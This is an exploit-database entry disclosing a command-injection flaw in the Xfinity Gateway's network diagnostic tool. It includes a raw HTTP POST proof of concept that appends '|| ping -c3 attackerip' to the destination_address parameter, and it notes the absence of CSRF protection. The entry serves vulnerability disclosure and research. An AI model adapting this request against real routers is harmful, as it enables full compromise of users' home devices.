Xfinity Gateway: Remote Code Execution

vendor:

Gateway

by:

Gregory Smiley

7,5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Gateway

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: php

2016

Xfinity Gateway: Remote Code Execution

The page located at /network_diagnostic_tools.php has a feature called test connectivity, which is carried out through a post request to /actionHandler/ajax_network_diagnostic_tools.php. The parameter destination_address is vulnerable to command injection. If you open up wireshark and set ip.dst==attackerip and icmp you will see that the router issues 3 icmp echo requests, proving successful command injection. This can be leveraged to completely compromise the device. This vulnerability is also particularly dangerous because there is no CSRF protections in this application as demonstrated.

Mitigation:

Implement CSRF protection and input validation.

Source

Exploit-DB raw data:

# Exploit Title: Xfinity Gateway: Remote Code Execution
# Date: 12/2/2016
# Exploit Author: Gregory Smiley
# Contact: gsx0r.sec@gmail.com
# Vendor Homepage: http://xfinity.com
# Platform: php

The page located at /network_diagnostic_tools.php has a feature called test connectivity, which is carried out through a post request to /actionHandler/ajax_network_diagnostic_tools.php. The parameter destination_address is vulnerable to command injection.

PoC:

POST /actionHandler/ajax_network_diagnostic_tools.php HTTP/1.1
Host: 10.0.0.1
User-Agent:
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://10.0.0.1/network_diagnostic_tools.php
Content-Length: 91
Cookie: PHPSESSID=; auth=
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive

test_connectivity=true&destination_address=www.comcast.net || ping -c3 attackerip; &count1=4


If you open up wireshark and set ip.dst==attackerip and icmp you will see that the router issues 3 icmp echo requests, proving successful command injection.  This can be leveraged to completely compromise the device.

This vulnerability is also particularly dangerous because there is no CSRF protections in this application as demonstrated here https://www.exploit-db.com/exploits/40853/